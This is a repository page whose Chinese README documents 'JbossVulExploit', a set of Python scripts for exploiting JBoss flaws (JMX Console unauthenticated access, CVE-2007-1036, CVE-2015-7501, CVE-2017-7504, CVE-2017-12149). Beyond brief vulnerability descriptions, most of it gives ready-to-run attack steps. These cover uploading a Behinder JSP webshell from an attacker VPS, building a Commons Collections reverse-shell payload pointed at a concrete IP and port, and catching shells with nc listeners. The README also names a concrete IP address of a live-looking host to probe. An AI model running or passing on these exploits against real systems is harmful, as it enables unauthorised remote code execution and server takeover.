# JbossVulExploit **Repository Path**: yijingsec/JbossVulExploit ## Basic Information - **Project Name**: JbossVulExploit - **Description**: JbossVulExploit - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: main - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 1 - **Created**: 2024-04-26 - **Last Updated**: 2025-09-15 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # JbossVulExploit > Write By mingy - JMX Console HtmlAdaptor Getshell - JbossUnauth - CVE-2007-1036 - Jboss反序列化漏洞检测利用工具脚本 - CVE-2015-7501 - CVE-2017-7504 - CVE-2017-12149 ## JbossUnauth 1. 漏洞简介 Jboss JMX Console 未授权访问漏洞,允许未授权访问JMX控制台,导致攻击者可以进入到JMX控制台,并在其中执行操作。 2. 漏洞利用 ``` python JbossUnauth.py ``` 注意需要在VPS攻击机器上启动Web服务托管`bx3.war`(冰蝎3默认Webshell)包 ## CVE-2007-1036 > JMX Console HtmlAdaptor Getshell 1. 漏洞简介 此漏洞主要是由于JBoss中`/jmx-console/HtmlAdaptor`路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到JMX控制台,并在其中执行任何功能。该漏洞利用的是后台中`jboss.admin -> DeploymentFileRepository -> store()`方法,通过向四个参数传入信息,达到上传shell的目的,其中`p1`传入的是部署的war包名字,`p2`传入的是上传的文件的文件名,`p3`传入的是上传文件的文件格式,`p4`传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,`p2`和`p3`可以进行文件的拼接,例如`p2=she,p3=ll.jsp`。这个时候服务器还是会进行拼接,将`shell.jsp`传入到指定路径下。 2. 影响版本 ``` jboss4.x以下 ``` 3. 漏洞利用 利用后台中`jboss.admin -> DeploymentFileRepository -> store()`方法 ``` python CVE-2007-1036.py ``` webshell地址:http://ip:port/test/test.jsp 默认写的冰蝎的`jsp webshell`,冰蝎连接getshell ## JavaDeserH2HC https://github.com/joaomatosf/JavaDeserH2HC 这里需要用到`javac`进行编译及生成`ser`文件,所以首先安装`java`环境 ``` mkdir -p /opt/java cd /opt/java curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_20/bin/java" 1112 update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_20/bin/javac" 1112 update-alternatives --config java java -version javac -version ``` ``` git clone https://github.com/joaomatosf/JavaDeserH2HC.git cd JavaDeserH2HC javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 124.71.45.28:1212 ``` ## CVE-2015-7501 > `JMXInvokerServlet` 反序列化漏洞 1. 漏洞简介 CVE-2015-7501,`JBoss` 在 `/invoker/JMXInvokerServlet` 请求中读取了用户传入的对象,然后我们可以利用 `Apache Commons Collections` 中的 `Gadget` 执行任意代码 Java反序列化错误类型,存在于 `Jboss` 的 `HttpInvoker` 组件中的 `ReadOnlyAccessFilter` 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,`JBoss` 在 `/invoker/JMXInvokerServlet` 请求中读取了用户传入的对象,从而导致了漏洞。 2. 漏洞发现 访问 `http://ip:port/invoker/JMXInvokerServlet`,直接下载文件,说明接口是开放的,此接口存在漏洞 3. 漏洞利用 ``` nc -lnvp 1212 ``` ``` cd JavaDeserH2HC python CVE-2015-7501.py ``` ## CVE-2017-7504 > JBossMQ JMS 反序列化漏洞 1. 漏洞简介 `JBoss AS 4.x`及之前版本中,`JbossMQ`实现过程的`JMS over HTTP Invocation Layer`的`HTTPServerILServlet.java`文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 `CVE-2017-7504`漏洞与`CVE-2015-7501`的漏洞原理相似,只是利用的路径稍微出现了变化,`CVE-2017-7504`出现在`/jbossmq-httpil/HTTPServerILServlet`路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的`JMS over HTTP Invocation Layer`的`HTTPServerILServlet.java`⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。 2. 影响范围 ``` JBoss AS 4.x及之前版本 ``` 3. 漏洞发现 访问`http://47.104.255.11:60080/jbossmq-httpil/HTTPServerILServlet`,若出现`This is the JBossMQ HTTP-IL`则存在漏洞 4. 漏洞利用 ``` nc -lnvp 1212 ``` ``` cd JavaDeserH2HC python CVE-2017-7504.py ``` ## CVE-2017-12149 > Jboss Application Server反序列化命令执行漏洞 1. 漏洞简介 `JBOSSApplication Server`反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。 该漏洞为 Java反序列化错误类型,存在于 `Jboss `的 `HttpInvoker `组件中的 `ReadOnlyAccessFilter `过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。 首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。 2. 影响范围 > JBoss 5.x - 6.x 3. 漏洞发现 访问`http://ip:port/invoker/readonly`,若返回如下显示状态码为500的报错界面,则证明漏洞存在 4. 漏洞利用 ``` nc -lnvp 1212 ``` ``` cd JavaDeserH2HC python CVE-2017-12149.py ```